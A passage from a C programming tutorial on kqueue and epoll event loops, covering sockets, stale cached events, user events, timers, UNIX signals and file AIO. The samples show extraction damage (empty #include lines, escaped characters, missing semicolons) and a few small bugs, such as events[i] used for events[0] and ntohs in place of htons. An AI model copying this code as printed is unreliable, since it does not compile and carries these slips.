As you can see we also check the return value for error `EINTR` which means that while `kevent()` was waiting for events a UNIX signal has been received and processed by a UNIX signal handling function. This behaviour allows us to easily handle some important global flags that signal handlers may set. For example we may handle `SIGINT` signal which is sent after the user presses `Ctrl+C` within the terminal window. Then `SIGINT` signal handling function may set some kind of `quit` flag to indicate we should exit our app. `kevent()` then returns with `EINTR`, and we check for `quit` value and exit the loop in this case.
#### Processing received events from kqueue
To process an event which we have received from KQ previously we have to know what to do with it. But all events look pretty much the same to us at this point. That's why we used an object pointer with `EV_SET()` to associate it with each event. Now we can simply call an event handling function. We get this pointer by accessing `struct kevent.udata` field. For full-duplex I/O we need either 2 different handling functions or a single handler which will check itself which filter has signalled. Since all KQ mechanisms have their different ways, I recommend you to go with 2-handlers approach and choose which handler to execute here, at the lowest level, to simplify the higher level code.
```
struct context *o = events[i].udata;
if (events[i].filter == EVFILT_READ)
o->rhandler(o); // handle read event
else if (events[i].filter == EVFILT_WRITE)
o->whandler(o); // handle write event
```
Do you remember the `EV_CLEAR` flag we supplied to KQ when we attached socket to it? Here's why we need to use it. For example, after KQ returns a READ event to us, it won't signal again until we drain all the data from this socket, i.e. until `recv()` returns with `EAGAIN` error. This mechanism prevents from signalling the same event over and over again each time we call KQ waiting function, thus improving overall performance. The software that can't deal with `EV_CLEAR` behaviour most probably has a design flaw.
#### Establishing TCP connection with kqueue
Now let's see how to correctly use `connect()` on a TCP socket with kqueue. What makes this use-case special is that there is no function that could return the result of previous `connect()` operation. Instead, we must use `struct kevent` to get the error code. Here's an example.
```
int r = connect(sk, ...);
if (r == 0) {
... // connection completed successfully
} else if (errno == EINPROGRESS) {
// connection is in progress
struct kevent events[1];
int n = kevent(kq, NULL, 0, events, 1, &timeout);
if (events[0].filter == EVFILT_WRITE) {
errno = 0;
if (events[i].flags & EV_EOF)
errno = events[0].fflags;
... // handle TCP connection result depending on `errno` value
}
} else {
... // fatal error
}
```
Suppose that we created a non-blocking TCP socket, attached it to KQ, and now we begin the connection procedure. If it completes successfully right away, then we can read or write data to it immediately, and it isn't what we are talking about here. But if it returns `-1` with `EINPROGRESS` error, we should wait until OS notifies about with the result of the procedure. And here's the main thing: when `EVFILT_WRITE` event is received we test `struct kevent.flags` field for `EV_EOF` and if it's set, then it means that `connect()` has failed. In this case `struct kevent.fflags` field contains the error number - the same error that a blocking `connect()` call would set.
> I have to say that I don't like this whole logic with getting an error code from `struct kevent` because it forces me to multiply branches in my code. Another reason behind that is because it's kqueue-specific stuff - for example on Linux we have to call `getsockopt(..., SOL_SOCKET, SO_ERROR, ...)` to get error code. But on the other hand, on FreeBSD we don't need to perform another syscall which probably outweighs both of my points above, so in the end I think it's alright.
>
>
Let's see the complete example of a simple HTTP/1 client that connects, sends request and receives response - all via KQ. But of course you may notice that our code for handling WRITE event from KQ is useless here, because our request is very small and should always fit into the empty socket buffer, i.e. `send()` will always complete immediately. But I think it's OK for a sample program - the goal is to show you the general principle.
```
/* Kernel Queue The Complete Guide: kqueue-connect.c: HTTP/1 client
Usage:
$ nc -l 127.0.0.1 64000
$ ./kqueue-connect
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
int kq;
int quit;
// the structure associated with a socket descriptor
struct context {
int sk;
void (\*rhandler)(struct context \*obj);
void (\*whandler)(struct context \*obj);
int data\_offset;
};
void obj\_write(struct context \*obj);
void obj\_read(struct context \*obj);
void obj\_prepare(struct context \*obj)
{
// create and prepare socket
obj->sk = socket(AF\_INET, SOCK\_STREAM | SOCK\_NONBLOCK, 0);
assert(obj->sk != -1);
int val = 1;
assert(0 == setsockopt(obj->sk, 0, TCP\_NODELAY, (char\*)&val, sizeof(int)));
// attach socket to KQ
struct kevent events[2];
EV\_SET(&events[0], obj->sk, EVFILT\_READ, EV\_ADD | EV\_CLEAR, 0, 0, obj);
EV\_SET(&events[1], obj->sk, EVFILT\_WRITE, EV\_ADD | EV\_CLEAR, 0, 0, obj);
assert(0 == kevent(kq, events, 2, NULL, 0, NULL));
}
void obj\_connect(struct context \*obj)
{
if (obj->whandler == NULL) {
// begin asynchronous connection
struct sockaddr\_in addr = {};
addr.sin\_family = AF\_INET;
addr.sin\_port = ntohs(64000);
char ip4[] = {127,0,0,1};
\*(int\*)&addr.sin\_addr = \*(int\*)ip4;
int r = connect(obj->sk, (struct sockaddr\*)&addr, sizeof(struct sockaddr\_in));
if (r == 0) {
// connection completed successfully
} else if (errno == EINPROGRESS) {
// connection is in progress
obj->whandler = obj\_connect;
return;
} else {
assert(0); // fatal error
}
} else {
assert(errno == 0); // connection is successful
obj->whandler = NULL; // we don't want any more signals from KQ
}
printf("Connected\n");
obj\_write(obj);
}
void obj\_write(struct context \*obj)
{
const char data[] = "GET / HTTP/1.1\r\nHost: hostname\r\nConnection: close\r\n\r\n";
int r = send(obj->sk, data + obj->data\_offset, sizeof(data)-1 - obj->data\_offset, 0);
if (r > 0) {
// sent some data
obj->data\_offset += r;
if (obj->data\_offset != sizeof(data)-1) {
// we need to send the complete request
obj\_write(obj);
return;
}
obj->whandler = NULL;
} else if (r < 0 && errno == EAGAIN) {
// the socket's write buffer is full
obj->whandler = obj\_write;
return;
} else {
assert(0); // fatal error
}
printf("Sent HTTP request. Receiving HTTP response...\n");
obj\_read(obj);
}
void obj\_read(struct context \*obj)
{
char data[64\*1024];
int r = recv(obj->sk, data, sizeof(data), 0);
if (r > 0) {
// received some data
printf("%.\*s", r, data);
obj\_read(obj);
return;
} else if (r == 0) {
// server has finished sending data
} else if (r < 0 && errno == EAGAIN) {
// the socket's read buffer is empty
obj->rhandler = obj\_read;
return;
} else {
assert(0); // fatal error
}
quit = 1;
}
void main()
{
// create KQ object
kq = kqueue();
assert(kq != -1);
struct context obj = {};
obj\_prepare(&obj);
obj\_connect(&obj);
// wait for incoming events from KQ and process them
while (!quit) {
struct kevent events[1];
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
if (n < 0 && errno == EINTR)
continue; // kevent() interrupts when UNIX signal is received
assert(n > 0);
// now process each signalled event
for (int i = 0; i != n; i++) {
struct context \*o = events[i].udata;
errno = 0;
if (events[i].flags & EV\_EOF)
errno = events[i].fflags;
if (events[i].filter == EVFILT\_READ
&& o->rhandler != NULL)
o->rhandler(o); // handle read event
if (events[i].filter == EVFILT\_WRITE
&& o->whandler != NULL)
o->whandler(o); // handle write event
}
}
close(obj.sk);
close(kq);
}
```
*Note that macOS doesn't support* `SOCK_NONBLOCK` flag in `socket()` - you should set the socket as nonblocking manually.
#### Processing stale cached events
One of the most interesting aspects of programming with KQ is handling the events in which we in fact are not interested anymore. Here's what may happen when we use KQ *carelessly*:
* We attach a socket to KQ for both READ and WRITE events.
* We keep performing normal operations on a socket, reading and writing to it occasionally.
* At some point both READ and WRITE events get signalled.
* We use an array of events for KQ waiting function and it **returns 2 events to us for the same socket**.
* We start handling the first event which happens to be a READ event.
* We call READ event handling function, it processes this event and comes to a conclusion that the client object should be closed, because it has sent some invalid data. We close the socket and destroy the object. And everything seems to be correct, because after the socket is closed KQ won't signal us with it anymore. But remember that we have called a KQ waiting function some time ago and it has already returned 2 events to us. We've handled the first event just now, but the second event is still in our array of event objects and is yet to be processed in the next iteration of the loop.
* We start handling the second event which is WRITE event in our case. We take our object data associated with the event and we try to call the handling function. BAM! We hit the memory region we have just destroyed while handling the READ event.
This can happen at any time while our app is running and we don't know anything in advance - we need to correctly determine such cases and handle them as they occur. Note that this situation isn't just limited to full-duplex sockets, but to any KQ event in general. Suppose a timer signal has fired and we decided to close a client connection, but its socket has signalled already, and there's an associated event already in our cache - we just don't know it yet, because the timer signal has occurred just before it. So unless we always limit the number of received events from KQ to 1, we must always be ready to handle this situation - we can't prevent it from happening. And of course, there's the same problem on Linux with epoll, so it's not just kqueue-only stuff.
So how are we going to solve this problem? Thankfully, it's already solved by Igor Sysoev (the great man who initially wrote nginx) long time ago. Here's the trick.
```
struct context {
int sk;
void (*handler)(struct context *obj);
int flag;
};
void handler_func(struct context *obj)
{
if (...) {
goto finish; // an error occurred
}
...
finish:
close(obj->sk);
obj->flag = !obj->flag; // turn over the safety flag
}
void main()
{
...
struct context *obj = ...;
obj->flag = 0;
struct kevent events[2];
void *ptr = (void*)((size_t)obj | obj->flag); // pass additional flag along with the object pointer to KQ
EV_SET(&events[0], obj->sk, EVFILT_READ, EV_ADD | EV_CLEAR, 0, 0, ptr);
EV_SET(&events[1], obj->sk, EVFILT_WRITE, EV_ADD | EV_CLEAR, 0, 0, ptr);
kevent(kq, events, 2, NULL, 0, NULL);
...
int n = kevent(kq, NULL, 0, events, 8, &timeout);
for (...) {
void *ptr = events[i].udata;
struct context *obj = (void*)((size_t)ptr & ~1); // clear the lowest bit
int flag = (size_t)ptr & 1; // check the lowest bit
if (flag != obj->flag)
continue; // don't process this event
obj->handler(obj);
}
}
```
Explanation:
* When we attach a socket to KQ, we also associate our object pointer with it. But we can actually **store some more information** there - not just the pointer. In our example here, we set the value of `struct context.flag` field (which is `0` at first) as the lowest bit value along with our object pointer. It works because all structure objects that contain a pointer are aligned to at least 4 or 8 bytes by default. In other words, the lowest bit for any object pointer is always 0, and we can use it for our own purposes.
* After we have received an event from KQ, we **clear the lowest bit** when converting the user data pointer to our object pointer. All event handlers are called as usual without any problem.
```
kevent(EV_ADD, 0x???????0)
events[] = kevent()
object = events[0].udata.bits[1..31]
// object | events[0]
// ---------+-------------------
// {flag=0} | {udata=0x???????0}
if 0 == 0 // TRUE
object.handler()
```
* But if inside the event handling function we decided to close the socket, we **mark our object as unused** - in our case we set an internally stored safety flag to `1`. We don't free the memory associated with our object so that we can access this value later.
```
read_handler() {
close(object.socket)
object.flag = 1
}
```
* When we start the processing of the next (cached) event for the same socket, we **compare the lowest bit** from the associated data pointer with the flag stored within our object. In our case they don't match, which means that we don't want this event to be processed. Note that C doesn't allow logical bit operations on pointers, hence the somewhat ugly cast to integer type and back.
```
object = events[1].udata.bits[1..31]
// object | events[1]
// ---------+-------------------
// {flag=1} | {udata=0x???????0}
if 1 == 0 // FALSE
```
* After we have processed all cached events we may free the memory allocated for our objects marked as unused. Or we may decide not to free the memory for our objects at all - because the next iteration may need to create a new object and we would need to allocate memory again. Instead, we may **store all unused objects in a list** (or array) and free them only when our app is closing the whole KQ subsystem.
* Next time we use the same object pointer (if we didn't free its memory), the flag is still set to `1` and so it is passed to KQ as the lowest bit of the user data pointer when we attach a new socket descriptor to KQ.
```
kevent(EV_ADD, 0x???????1)
events[] = kevent()
object = events[0].udata.bits[1..31]
// object | events[0]
// ---------+-------------------
// {flag=1} | {udata=0x???????1}
if 1 == 1 // TRUE
object.handler()
```
* And again, when we have finished working with this object, we turn it over and set the flag to `0`. After that, the values from KQ (the old bit value `1`) and the flag value inside the object (now `0`) don't match, therefore the handling function won't be called which is exactly what we want.
```
read_handler() {
close(object.socket)
object.flag = 0
}
object = events[1].udata.bits[1..31]
// object | events[1]
// ---------+-------------------
// {flag=0} | {udata=0x???????1}
if 0 == 1 // FALSE
```
Some people don't use the lowest bit approach to handle the problem with stale events. They just use a list where they put the unused objects until they can free them (after each iteration or by a timer signal). Imagine how this can slow down the processing when **every cached event starting at index 1 should be checked against some data in a container** - a search must be performed which wastes CPU cycles. I don't know what's the reasoning for doing so, but I really don't see how it's too hard to use the lowest bit trick and turn it over once in a while. So I advise using a list of unused objects only to save on countless memory allocations and deallocations and not for deciding whether an event is stale or not.
#### User-triggered events with kqueue
When we use an infinite timeout in KQ waiting function, it blocks forever until it can return an event. Similar to how it returns with `EINTR` after UNIX signal is processed, we can force it to return at any time by sending a user event to KQ. To do it we first register a `EVFILT_USER` event in KQ, then we can trigger this event via `NOTE_TRIGGER`. Here's an example.
```
/* Kernel Queue The Complete Guide: kqueue-user.c: User-triggered events */
#include
#include
#include
#include
#include
int kq;
struct context {
void (\*handler)(struct context \*obj);
};
struct context user\_event\_obj;
void user\_event\_obj\_handler(struct context \*obj)
{
printf("Received user event via kqueue\n");
}
// application calls this function whenever it wants to add a new event to KQ
// which will execute user\_event\_obj\_handler()
void trigger\_user\_event()
{
user\_event\_obj.handler = user\_event\_obj\_handler;
struct kevent events[1];
EV\_SET(&events[0], 1234, EVFILT\_USER, 0, NOTE\_TRIGGER, 0, &user\_event\_obj);
assert(0 == kevent(kq, events, 1, NULL, 0, NULL));
}
void main()
{
// create kqueue object
kq = kqueue();
assert(kq != -1);
// register user event with any random ID
// note that user data is NULL here
struct kevent events[1];
EV\_SET(&events[0], 1234, EVFILT\_USER, EV\_ADD | EV\_ENABLE | EV\_CLEAR, 0, 0, NULL);
assert(0 == kevent(kq, events, 1, NULL, 0, NULL));
trigger\_user\_event();
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
assert(n > 0);
struct context \*o = events[0].udata;
if (events[0].filter == EVFILT\_USER)
o->handler(o); // handle user event
close(kq);
}
```
To register a new user event in KQ we have to supply an arbitrary ID which we later will use to trigger it, I use `1234` just for example. Note also that contrary to when attaching socket descriptor, we don't set user data pointer at this point.
```
EV_SET(&events[0], 1234, EVFILT_USER, EV_ADD | EV_ENABLE | EV_CLEAR, 0, 0, NULL);
```
Then at some point we decide to trigger the event with `NOTE_TRIGGER`. And now we can pass an object pointer which the waiting function will return back to us after the event signals.
```
EV_SET(&events[0], 1234, EVFILT_USER, 0, NOTE_TRIGGER, 0, obj);
```
After this event is returned from KQ and gets processed, it won't signal again until we trigger it next time - that's because we set `EV_CLEAR` flag when registering the event.
#### System timer events with kqueue
Another facility that KQ offers us is system timers - we can order KQ to periodically send us a timer event. A timer is necessary when we want to close connections for the clients that are silent for too long, for example. In kqueue we register a timer with `EVFILT_TIMER` and process its events as usual. For example:
```
/* Kernel Queue The Complete Guide: kqueue-timer.c: System timer events */
#include
#include
#include
#include
#include
int kq;
struct context {
void (\*handler)(struct context \*obj);
};
void timer\_handler(struct context \*obj)
{
static int n;
printf("Received timer event via kqueue: %d\n", n++);
}
void main()
{
kq = kqueue();
assert(kq != -1);
struct context obj = {};
obj.handler = timer\_handler;
// start system timer
int period\_ms = 1000;
struct kevent events[1];
EV\_SET(&events[0], 1234, EVFILT\_TIMER, EV\_ADD | EV\_ENABLE, 0, period\_ms, &obj);
assert(0 == kevent(kq, events, 1, NULL, 0, NULL));
for (;;) {
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
assert(n > 0);
struct context \*o = events[0].udata;
if (events[0].filter == EVFILT\_TIMER)
o->handler(o); // handle timer event
}
close(kq);
}
```
Sometimes we don't need a periodic timer, but the timer which will signal us only once, i.e. a **one-shot timer**. It's simple with kqueue - we just use `EV_ONESHOT` flag:
```
EV_SET(&events[0], 1234, EVFILT_TIMER, EV_ADD | EV_ENABLE | EV_ONESHOT, 0, period_ms, obj);
```
Keep in mind that KQ timers are not designed so that you can use a million of them - you just need 1. Even if our software handles a million clients, we still need 1 system timer, because all we need is to just periodically wake up and process the oldest entries in our *timer queue* which we handle ourselves with our own code. Timer queue mechanism isn't a part of KQ, it isn't in scope of this article, but it's just a linked-list or rbtree container where the first item is the oldest.
#### UNIX signals from kqueue
Another convenient feature of KQ is handling UNIX signals. We register a UNIX signal handler with `EVFILT_SIGNAL` and pass the signal number we want to attach to. When processing an event, we get the signal number from `struct kevent.ident` field. Example:
```
/* Kernel Queue The Complete Guide: kqueue-signal.c: UNIX signal handler
Usage:
$ ./kqueue-signal
$ killall -SIGUSR1 kqueue-signal
*/
#include
#include
#include
#include
#include
#include
int kq;
struct context {
void (\*handler)(int sig);
};
void unix\_signal\_handler(int sig)
{
printf("Received UNIX signal via kqueue: %d\n", sig);
}
void main()
{
kq = kqueue();
assert(kq != -1);
struct context obj = {};
obj.handler = unix\_signal\_handler;
// block default signal handler
int sig = SIGUSR1;
sigset\_t mask;
sigemptyset(&mask);
sigaddset(&mask, sig);
sigprocmask(SIG\_BLOCK, &mask, NULL);
// register UNIX signal handler
struct kevent events[1];
EV\_SET(&events[0], sig, EVFILT\_SIGNAL, EV\_ADD | EV\_ENABLE, 0, 0, &obj);
assert(0 == kevent(kq, events, 1, NULL, 0, NULL));
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
assert(n > 0);
struct context \*o = events[0].udata;
if (events[0].filter == EVFILT\_SIGNAL) {
int sig = events[0].ident;
obj.handler(sig); // handle UNIX signal
}
close(kq);
}
```
Note that KQ will return the event only after the signal has been processed with its normal mechanism, i.e. the handlers registered with `sigaction()` - KQ can't completely replace this mechanism. But KQ makes it easier to handle signals such as `SIGCHLD`, when a child process signals its parent about its closure.
#### Asynchronous file I/O with kqueue
Trying to read or write data from/to files on disk is a little bit harder than performing I/O on sockets. One of the reasons behind this is because sockets don't have an offset to read at - we always read from one end, while with files we may issue several parallel operations at different offsets. And how can OS notify us about which particular operation has completed? That's why the kernel has to provide us with a new API for dealing with file AIO. And FreeBSD is the only OS that has a complete implementation of asynchronous file read/write operations. Sadly, it doesn't look anything like the rest of what we've talked about here so far. What we would have expected from kqueue is the mechanism which just signals us when some data is available to read or write from/to a file - exactly the same way we work with sockets. But no, what we have here instead is the mechanism of asynchronous file operations (only read/write operations are supported) which hold (or "lock") the user data buffer internally and don't signal at all unless the whole data chunk is transferred, depriving us from the flexibility we already got used to when working with sockets. *Now all this looks more like IOCP, which can't be a good sign.* But anyway, since I promised you to show everything I know about KQ, let's see how this mechanism works with files.
* First, we enable the AIO subsystem by loading the appropriate kernel module:
```
% kldload aio
```
* The next step is to prepare an AIO object of type `struct aiocb` and call the appropriate function, that is `aio_read()` or `aio_write()`.
* Then we immediately check for operation status with `aio_error()`, because it may have finished already before we even called KQ waiting function.
* When we know that everything is fine and the operation is in progress, we wait for a signal from KQ as usual.
* When we receive an event of type `EVFILT_AIO` from KQ we may read `struct kevent.ident` field to get `struct aiocb*` object pointer associated with the operation. This is how we can distinguish several parallel operations on the same file descriptor from each other.
Here's the minimal example of how to read from a file asynchronously:
```
/* Kernel Queue The Complete Guide: kqueue-file.c: Asynchronous file reading
Usage:
$ echo 'Hello file AIO' >./kqueue-file.txt
$ ./kqueue-file
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int kq;
struct context {
int fd;
struct aiocb acb;
int (\*handler)(struct context \*obj, struct aiocb \*acb);
};
void file\_io\_result(const char \*via, int res)
{
printf("Read from file via %s: %d\n", via, res);
}
int file\_aio\_handler(struct context \*obj, struct aiocb \*acb)
{
int r = aio\_error(acb);
if (r == EINPROGRESS) {
return 0; // AIO in progress
} else if (r == -1) {
file\_io\_result("kqueue", -1); // AIO completed with error
return -1;
}
r = aio\_return(acb);
file\_io\_result("kqueue", r); // AIO completed successfully
return 1;
}
void main()
{
// create KQ object
kq = kqueue();
assert(kq != -1);
// open file descriptor and prepare the associated object
int fd = open("./kqueue-file.txt", O\_RDONLY, 0);
assert(fd != -1);
struct context obj = {};
obj.handler = file\_aio\_handler;
// associate the AIO operation with KQ and user object pointer
memset(&obj.acb, 0, sizeof(obj.acb));
obj.acb.aio\_sigevent.sigev\_notify\_kqueue = kq;
obj.acb.aio\_sigevent.sigev\_notify = SIGEV\_KEVENT;
obj.acb.aio\_sigevent.sigev\_notify\_kevent\_flags = EV\_CLEAR;
obj.acb.aio\_sigevent.sigev\_value.sigval\_ptr = &obj
void \*buf = malloc(4\*1024);
// specify operation parameters
obj.acb.aio\_fildes = fd;
obj.acb.aio\_buf = buf; // destination buffer
obj.acb.aio\_nbytes = 4\*1024; // max number of bytes to read
obj.acb.aio\_offset = 0; // offset to begin reading at
// begin file AIO operation
obj.acb.aio\_lio\_opcode = LIO\_READ;
if (0 != aio\_read(&obj.acb)) {
if (errno == EAGAIN || errno == ENOSYS || errno == EOPNOTSUPP) {
// no resources to complete this I/O operation
// or AIO module isn't loaded
// or the system can't perform AIO on this file
} else {
file\_io\_result("aio\_read", -1);
return; // fatal error
}
// AIO doesn't work - perform synchronous reading at the specified offset
int r = pread(fd, buf, obj.acb.aio\_nbytes, obj.acb.aio\_offset);
file\_io\_result("pread", r);
return;
}
// asynchronous file reading has started, but might be finished already
if (0 != file\_aio\_handler(&obj, &obj.acb))
return;
// asynchronous file reading is in progress, now wait for the signal from KQ
struct kevent events[1];
struct timespec \*timeout = NULL; // wait indefinitely
int n = kevent(kq, NULL, 0, events, 1, timeout);
struct context \*o = events[0].udata;
if (events[0].filter == EVFILT\_AIO) {
struct aiocb \*acb = (void\*)events[0].ident;
o->handler(o, acb); // handle file AIO event
}
free(buf);
close(fd);
close(kq);
}
```
The main function here is `aio_read()`, which processes our request and starts the asynchronous operation. It returns `0` if the operation has started successfully.
```
struct aiocb acb = ...; // fill in `acb` object
acb.aio_lio_opcode = LIO_READ;
aio_read(&acb); // begin file AIO operation
```
However, if something is wrong, it returns with an error, and we must handle several cases here:
```
if (errno == EAGAIN || errno == ENOSYS || errno == EOPNOTSUPP) {
// no resources to complete this I/O operation
// or AIO module isn't loaded
// or the system can't perform AIO on this file
} else {
// fatal error
}
```
We can handle some types of errors by issuing a **synchronous file reading**:
```
// AIO doesn't work - perform synchronous reading at the specified offset
int r = pread(fd, buf, size, off);
```
For **writing data to a file asynchronously** we use the same template, except the opcode and the function are different, while everything else is the same:
```
struct aiocb acb = ...; // fill in `acb` object
acb.aio_lio_opcode = LIO_WRITE;
aio_write(&acb); // begin file AIO operation
```
And of course we use a different function for the **synchronous file writing** in case file AIO doesn't work:
```
int r = pwrite(fd, buf, size, off);
```
> Though file AIO is good to have, it's still not enough for high-performance file servers, because such software needs not just file AIO in terms of reading/writing file data, but disk AIO in general. What for? In our example above we use asynchronous file reading only, but we know that the very first step in working with files in UNIX is opening a file descriptor. However, we just can't perform an asynchronous file open - it's not supported. And in the real life an `open()` syscall may take a whole second to complete on a busy machine - it may block our worker thread for a long time. In real life we also want to call `stat()` or `fstat()` on a file path or a file descriptor. And OS doesn't provide a way to call them asynchronously either, except calling them inside another thread. So even if file AIO can help sometimes, it's still somewhat lame and incomplete. And considering the fact that other OS don't have an appropriate file AIO implementation at all, it may be a better choice not to use any of those APIs at all. It may be better to use a thread pool with a file operations queue and dispatch operations to another thread. Inside a new thread the operations will be performed *synchronously*. And then it will signal the main thread when the operation is complete.
>
>
### Linux and epoll
epoll API is very similar to kqueue for socket I/O notifications, though it's quite different for other purposes. Here we use `epoll_ctl()` to attach file descriptors to KQ and we use `epoll_wait()` to receive events from KQ. There are several more syscalls we're going to use for user events, timers and UNIX signals: `eventfd()`, `timerfd_create()`, `timerfd_settime()`, `signalfd()`. Overall, the functionality of `epoll` is the same as `kqueue` but sometimes with a slightly different approach.
The key **differences of epoll and kqueue** are:
* `kevent()` supports attaching many file descriptors in a single syscall, `epoll_ctl()` does not - we must call it once for each fd. `kevent()` even allows us to attach fd's AND wait for new events in a single syscall, `epoll_wait()` can't do that.
* epoll may join 2 events (`EPOLLIN` and `EPOLLOUT`) into 1 event object in case both READ and WRITE events signal. This is contrary to kqueue which always returns 1 event object per 1 event (`EVFILT_READ` or `EVFILT_WRITE`). Be careful with epoll here, always check if it's alright to execute event handling functions, because otherwise you risk calling WRITE event handler after you have finalized the object in READ event handler.
* epoll makes it somewhat harder to use additional KQ functionality such as UNIX signals, system timers or user events - see below. In kqueue, however, it looks all the same.
What is different but also similar between epoll and kqueue:
* We attach a socket to epoll using `EPOLLIN | EPOLLOUT` flags which is the same as registering 2 separate events `EVFILT_READ` and `EVFILT_WRITE` with kqueue.
* `EPOLLET` flag in epoll is the same thing as `EV_CLEAR` flag in kqueue - it prevents epoll from signalling us about the same event more than once until we drain all data from the socket. And it's the same situation when writing to a streaming (e.g. TCP) socket - we must keep calling `write()` until it returns with `EAGAIN` error - only then we may expect epoll to signal us.
#### Accepting socket connections with epoll
Here's a minimal example for accepting a socket connection.
```
/* Kernel Queue The Complete Guide: epoll-accept.c: Accept socket connection
Usage:
$ ./epoll-accept
$ curl 127.0.0.1:64000/
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
int kq;
// the structure associated with a socket descriptor
struct context {
int sk;
void (\*rhandler)(struct context \*object);
};
void accept\_handler(struct context \*obj)
{
printf("Received socket READ event via epoll\n");
int csock = accept(obj->sk, NULL, 0);
assert(csock != -1);
close(csock);
}
void main()
{
// create KQ object
kq = epoll\_create(1);
assert(kq != -1);
struct context obj = {};
obj.rhandler = accept\_handler;
// create and prepare a socket
obj.sk = socket(AF\_INET, SOCK\_STREAM | SOCK\_NONBLOCK, 0);
assert(obj.sk != -1);
int val = 1;
setsockopt(obj.sk, SOL\_SOCKET, SO\_REUSEADDR, &val, 4);
struct sockaddr\_in addr = {};
addr.sin\_family = AF\_INET;
addr.sin\_port = ntohs(64000);
assert(0 == bind(obj.sk, (struct sockaddr\*)&addr, sizeof(addr)));
assert(0 == listen(obj.sk, 0));
// attach socket to KQ
struct epoll\_event event;
event.events = EPOLLIN | EPOLLOUT | EPOLLET;
event.data.ptr = &obj
assert(0 == epoll\_ctl(kq, EPOLL\_CTL\_ADD, obj.sk, &event));
// wait for incoming events from KQ
struct epoll\_event events[1];
int timeout\_ms = -1; // wait indefinitely
int n = epoll\_wait(kq, events, 1, timeout\_ms);
assert(n > 0);
// process the received event
struct context \*o = events[0].data.ptr;
if (events[0].events & (EPOLLIN | EPOLLERR))
o->rhandler(o); // handle read event
close(obj.sk);
close(kq);
}
```
#### Creating and closing epoll object
`epoll_create()` function returns new KQ object descriptor which we close as usual with `close()`.
```
kq = epoll_create(1);
...
close(kq);
```
#### Attaching socket descriptor to epoll
`EPOLLIN` flag means that we want the kernel to notify us when a READ event signals, and `EPOLLOUT` flag is the same for a WRITE event. `EPOLLET` prevents epoll from returning to us the same signal unnecessarily. We set our object pointer with `struct epoll_event.data.ptr` field.
```
struct epoll_event event;
event.events = EPOLLIN | EPOLLOUT | EPOLLET;
event.data.ptr = obj;
epoll_ctl(kq, EPOLL_CTL_ADD, sk, &event);
```
#### Receiving events from epoll
`epoll_wait()` function blocks until it has something to return to us, or until the timeout value expires. The function returns the number of signalled events which may be `0` only in case of timeout. It also returns with `EINTR` exactly like `kevent()` after a UNIX signal has been received, so we must always handle this case.
```
while (!quit) {
struct epoll_event events[1];
int timeout_ms = -1; // wait indefinitely
int n = epoll_wait(kq, events, 1, timeout_ms);
if (n < 0 && errno == EINTR)
continue; // epoll_wait() interrupts when UNIX signal is received
}
```
#### Processing received events from epoll
We get the events flags by reading `struct epoll_event.events` which we should always test for `EPOLLERR` too, because otherwise we can miss an event we're waiting for. To get the associated user data pointer, we read `struct epoll_event.data.ptr` value.
I emphasize once again that you should be careful not to invalidate user object memory region inside READ event handler, or the program may crash inside the WRITE event handler which is executed next. To handle this situation you may just always set event handler function pointers to `NULL` when you don't expect them to signal. An alternative solution may be to clear `EPOLLOUT | EPOLLERR` flags from `struct epoll_event.events` field from inside READ event handler.
```
struct context *o = events[i].data.ptr;
if ((events[i].events & (EPOLLIN | EPOLLERR))
&& o->rhandler != NULL)
o->rhandler(o); // handle read event
if ((events[i].events & (EPOLLOUT | EPOLLERR))
&& o->whandler != NULL)
o->whandler(o); // handle write event
```
#### Establishing TCP connection with epoll
As with kqueue, epoll also has a way to notify us about the status of TCP connection. But unlike kqueue which sets the error number for us inside `struct kevent` object, epoll doesn't do that (it can't do that). Instead, we get the error number associated with our socket via `getsockopt(..., SOL_SOCKET, SO_ERROR, ...)`.
```
int err;
socklen_t len = 4;
getsockopt(obj->sk, SOL_SOCKET, SO_ERROR, &err, &len);
errno = err;
... // handle TCP connection result depending on `errno` value
```
#### User-triggered events with epoll
There are slightly more things to do with epoll rather than with kqueue to handle user-triggered events:
* First, we create a new file descriptor with `eventfd()` which we then attach to KQ.
* We trigger a user event at any time by writing an 8 byte value to our eventfd descriptor. In our case this value is an object pointer.
* After we receive an event from KQ, we read an 8 byte value from eventfd descriptor. We can convert this value to an object pointer. Remember that we need to keep reading data from eventfd descriptor until it returns with `EAGAIN` error, because we use `EPOLLET`.
```
/* Kernel Queue The Complete Guide: epoll-user.c: User-triggered events */
#include
#include
#include
#include
#include
#include
#include
int kq;
int efd;
struct context {
void (\*handler)(struct context \*obj);
};
struct context eventfd\_obj;
struct context user\_event\_obj;
void user\_event\_obj\_handler(struct context \*obj)
{
printf("Received user event via epoll\n");
}
// application calls this function whenever it wants to add a new event to KQ
// which will execute user\_event\_obj\_handler()
void trigger\_user\_event()
{
struct context \*obj = &user\_event\_obj;
obj->handler = user\_event\_obj\_handler;
unsigned long long val = (size\_t)obj;
int r = write(efd, &val, 8);
assert(r == 8);
}
// handle event from eventfd-descriptor
void handle\_eventfd(struct context \*obj)
{
unsigned long long val;
for (;;) {
int r = read(efd, &val, 8);
if (r < 0 && errno == EAGAIN)
break;
assert(r == 8);
struct context \*o = (void\*)(size\_t)val;
o->handler(o);
}
}
void main()
{
// create kqueue object
kq = epoll\_create(1);
assert(kq != -1);
struct context obj = {};
obj.handler = handle\_eventfd;
// prepare eventfd-descriptor for user events
efd = eventfd(0, EFD\_NONBLOCK);
assert(efd != -1);
// register eventfd in KQ
struct epoll\_event event;
event.events = EPOLLIN | EPOLLET;
event.data.ptr = &obj
assert(0 == epoll\_ctl(kq, EPOLL\_CTL\_ADD, efd, &event));
trigger\_user\_event();
struct epoll\_event events[1];
int timeout\_ms = -1;
int n = epoll\_wait(kq, events, 1, timeout\_ms);
assert(n > 0);
struct context \*o = events[0].data.ptr;
if (events[0].events & (EPOLLIN | EPOLLERR))
o->handler(o); // handle eventfd event
close(efd); // close eventfd descriptor
close(kq);
}
```
#### System timer events with epoll
To receive the notifications from system timer with epoll we must use a timerfd object - a special file descriptor we can attach to epoll.
```
